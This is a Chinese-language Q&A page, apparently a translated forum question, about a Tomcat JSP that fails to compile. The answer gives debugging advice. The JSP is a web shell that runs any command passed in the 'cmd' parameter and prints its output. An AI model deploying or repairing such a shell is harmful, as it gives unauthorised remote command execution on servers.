类不会编译JSP Tomcat

时间:2012-08-06 12:06:48

标签: java jsp shell tomcat

尝试编写tomcat应用程序。好好学习如何。它用JSP编写。无需猜测它的作用......我正在尝试编译此代码:

    <%@ page import=”java.util.*,java.io.*”%>
    <%
    if (request.getParameter(“cmd”) != null) {
        out.println(“Command: ” +
        request.getParameter(“cmd”) + “<BR>”);
        Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
           out.println(disr);
           disr = dis.readLine();
       }
    }
    %>

我收到这个错误:

    HTTP Status 500 -

    type Exception report

    message

    description The server encountered an internal error () that prevented it from fulfilling this request.

    exception

    org.apache.jasper.JasperException: Unable to compile class for JSP
org.apache.jasper.JspCompilationContext.load(JspCompilationContext.java:553)
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:136)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:307)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)

    root cause

    java.lang.NullPointerException
sun.misc.URLClassPath$3.run(Unknown Source)
java.security.AccessController.doPrivileged(Native Method)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getResource(Unknown Source)
java.net.URLClassLoader$1.run(Unknown Source)

1 个答案:

答案 0 :(得分:1)

您知道哪条线路导致了问题吗?尝试一次注释掉一行,直到错误不再发生。

从最佳实践的角度来看,您应该尝试将大部分代码移动到Servlet类中,然后将文本输出发送到JSP进行显示。这将使您的代码更容易调试(例如,堆栈跟踪将显示哪条线路给出了NPEx),并且还允许您为其编写单元测试。